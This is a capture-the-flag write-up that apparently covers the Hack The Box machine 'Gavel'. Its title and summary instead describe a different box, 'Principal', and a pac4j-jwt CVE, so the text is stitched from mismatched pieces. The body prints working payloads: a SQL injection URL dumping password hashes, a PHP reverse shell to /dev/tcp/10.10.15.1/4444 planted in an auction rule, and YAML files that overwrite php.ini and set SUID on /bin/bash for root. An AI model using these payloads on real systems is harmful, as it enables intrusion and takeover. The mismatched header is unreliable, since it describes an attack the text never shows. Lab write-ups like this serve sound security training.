HTB: Principal Writeup
Medium Linux box exploiting CVE-2026-29000, a critical auth bypass in pac4j-jwt using a forged PlainJWT to gain admin access, leading to RCE via SSH certificate forgery.

Gavel is a medium Linux machine built around an online auction platform. The attack surface opens with an exposed .git directory that lets us pull the site’s PHP source. Inside the source we find a config.php that gives away the database name, and more importantly, a sort-parameter quirk in the inventory endpoint that turns out to be injectable via backtick identifier manipulation. Exploiting that injection leaks a bcrypt hash for the auctioneer account, which hashcat cracks quickly. After logging into the admin panel, we inject a PHP reverse shell into an auction bidding rule, triggering it with a crafted bid request to land a shell as www-data. From there we pivot to auctioneer with the cracked password, then abuse a custom /usr/local/bin/gavel-util binary - which evaluates arbitrary PHP from user-supplied YAML files - to set the SUID bit on /bin/bash and escalate to root.
The initial scan turns up just two open TCP ports - SSH on 22 and HTTP on 80:
nmap -sCV -p- --min-rate 5000 10.129.42.253
Nmap scan report for 10.129.42.253
Host is up, received reset ttl 63 (0.041s latency).
Scanned at 2025-12-02 03:24:40 WET for 10s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 1f:de:9d:84:bf:a1:64:be:1f:36:4f:ac:3c:52:15:92 (ECDSA)
|_ 256 70:a5:1a:53:df:d1:d0:73:3e:9d:90:ad:c1:aa:b4:19 (ED25519)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://gavel.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
The TTL of 63 and the OpenSSH version both point squarely at Ubuntu, and the HTTP title already tells us the site is doing virtual-host routing to gavel.htb. I add that to /etc/hosts before anything else.
Browsing to http://gavel.htb/ reveals an online auction platform. The application feels custom - there is an inventory listing at inventory.php that accepts a user_id parameter and a sort parameter, an admin panel at admin.php, and a bidding handler at includes/bid_handler.php. Before digging into the functionality I want a look at the source, so I shift focus to directory discovery.

Checking for a .git directory at the web root returns a 200 rather than a 404, which means the development repository was deployed alongside the application. This is a common operational mistake and it lets us reconstruct the entire source tree with git-dumper:
git clone https://github.com/arthaud/git-dumper.git
cd git-dumper
python3 -m venv .venv && source .venv/bin/activate
mkdir ../.git
python3 git_dumper.py http://gavel.htb/.git ../.git
With the source in hand, the first file worth reading is includes/config.php:
<?php
define('DB_HOST', 'localhost');
define('DB_NAME', 'gavel');
define('DB_USER', 'gavel');
define('DB_PASS', 'gavel');
define('ROOT_PATH', dirname(__DIR__));
$basePath = rtrim(dirname($_SERVER['SCRIPT_NAME']), '/');
define('BASE_URL', $basePath);
define('ASSETS_URL', $basePath . '/assets');
The database credentials are weak and reused from the application name, but more interesting right now is what the rest of the source tells us about the query structure inside inventory.php. The endpoint accepts a user_id parameter that gets embedded in a SQL query, and a sort parameter that controls the ORDER BY clause - neither is properly sanitised.
The injection here is a little unconventional, so it is worth breaking down. MySQL uses backticks to quote identifiers such as column or table names. The user_id value ends up inside backtick-quoted context within the query, which means closing a backtick, injecting a subquery, and opening a new backtick allows data exfiltration without needing a classic UNION SELECT. Alongside that, the sort parameter is manipulated with \? to break the prepared statement placeholder for the WHERE clause, and a null byte %00 helps terminate any trailing string processing. The full payload looks like this:
http://gavel.htb/inventory.php?user_id=x`+FROM+(SELECT+group_concat(username,0x3a,password)+AS+`%27x`+FROM+users)y;--+-&sort=\?;--+-%00
The effective query that reaches MySQL is roughly:
SELECT ` FROM (SELECT group_concat(username,0x3a,password) AS `'x` FROM users)y;--
FROM inventory WHERE user_id = \?;--
ORDER BY item_name ASC
The comment (--) discards everything after the injection, the subquery pulls username-password pairs from the users table, and the result surfaces in the page response:

auctioneer:$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS
The hash is bcrypt ($2y$) which is computationally expensive to crack, but rockyou.txt covers a lot of ground. Running it through hashcat with mode 3200:
hashcat -m 3200 hash /usr/share/wordlists/rockyou.txt --user
$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS:[REDACTED]
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Time.Started.....: Tue Dec 2 04:50:33 2025 (26 secs)
Time.Estimated...: Tue Dec 2 04:50:59 2025 (0 secs)
26 seconds to crack a bcrypt hash is fast - this password landed very high in rockyou.txt.
With credentials in hand, logging into http://gavel.htb/admin.php as auctioneer reveals an admin interface that, among other things, lets administrators attach a custom PHP rule to each auction. The rule field is evaluated server-side when a bid is processed - which means we have arbitrary PHP execution as soon as we can submit a rule and trigger a bid.

The injection is delivered as a POST to admin.php with the rule parameter containing a URL-encoded PHP reverse shell payload:
POST /admin.php HTTP/1.1
Host: gavel.htb
Content-Type: application/x-www-form-urlencoded
Cookie: gavel_session=4vt4veva5ne9676t9a8lhjuftp
auction_id=164&rule=system%28%27bash+-c+%22bash+-i+%3E%26+%2Fdev%2Ftcp%2F10.10.15.1%2F4444+0%3E%261%22%27%29%3B+return+true%3B&message=
Decoded, the rule value is:
system('bash -c "bash -i >& /dev/tcp/10.10.15.1/4444 0>&1"'); return true;
With a listener running on port 4444, the rule fires the moment a bid is submitted for auction 164. That bid is placed by sending a multipart POST to includes/bid_handler.php:
POST /includes/bid_handler.php HTTP/1.1
Host: gavel.htb
Content-Type: multipart/form-data; boundary=----geckoformboundarye25ecad77dd64e6571a56b6a5628ae65
Cookie: gavel_session=4vt4veva5ne9676t9a8lhjuftp
------geckoformboundarye25ecad77dd64e6571a56b6a5628ae65
Content-Disposition: form-data; name="auction_id"
164
------geckoformboundarye25ecad77dd64e6571a56b6a5628ae65
Content-Disposition: form-data; name="bid_amount"
1200
------geckoformboundarye25ecad77dd64e6571a56b6a5628ae65--
The shell connects back immediately as www-data.
Checking /etc/passwd confirms there is a local user auctioneer with a real shell:
www-data@gavel:/var/www/html/gavel/rules$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
<SNIP>
auctioneer:x:1001:1002::/home/auctioneer:/bin/bash
Since we cracked the auctioneer database password earlier and password reuse is common, trying it directly with su pays off:
www-data@gavel:/var/www/html/gavel/rules$ su auctioneer
Password:
auctioneer@gavel:/var/www/html/gavel/rules$
Enumerating the system as auctioneer turns up a custom binary at /usr/local/bin/gavel-util. It accepts a submit subcommand followed by a YAML file path. The YAML format mirrors the auction module structure we saw in the web source: it expects fields like name, description, image, price, rule_msg, and crucially a rule field that contains PHP code. When gavel-util processes the submission, it evaluates whatever PHP sits in that rule field - and the binary runs with elevated privileges.
There is a catch, though. The PHP environment that gavel-util uses has open_basedir restrictions and a populated disable_functions list, which means system() and similar execution functions are blocked out of the box. The solution is to overwrite the PHP configuration file before trying to execute anything. A first YAML module writes a permissive php.ini to the expected configuration path:
cat > mod1.yaml << 'EOF'
name: ConfigMod
description: System tuning
image: "data:image/png;base64,R0lGOD=="
price: 8888
rule_msg: "Applied"
rule: |
$c="engine=On\ndisplay_errors=On\nopen_basedir=/\ndisable_functions=\n";
file_put_contents('/opt/gavel/.config/php/php.ini',$c);
return false;
EOF
/usr/local/bin/gavel-util submit mod1.yaml
With open_basedir set to / and disable_functions cleared, the PHP environment now permits unrestricted filesystem access and execution. A second YAML module drops the SUID bit onto /bin/bash:
cat > mod2.yaml << 'EOF'
name: ExecMod
description: Runtime patch
image: "data:image/png;base64,R0lGOD=="
price: 8888
rule_msg: "Executed"
rule: |
@system("chmod u+s /bin/bash");
return false;
EOF
/usr/local/bin/gavel-util submit mod2.yaml
With /bin/bash now SUID-root, invoking it with -p preserves the effective UID and drops us into a root shell:
/bin/bash -p
bash-5.1# id
uid=1001(auctioneer) gid=1002(auctioneer) euid=0(root) groups=1002(auctioneer)
bash-5.1# cat /root/root.txt
[REDACTED]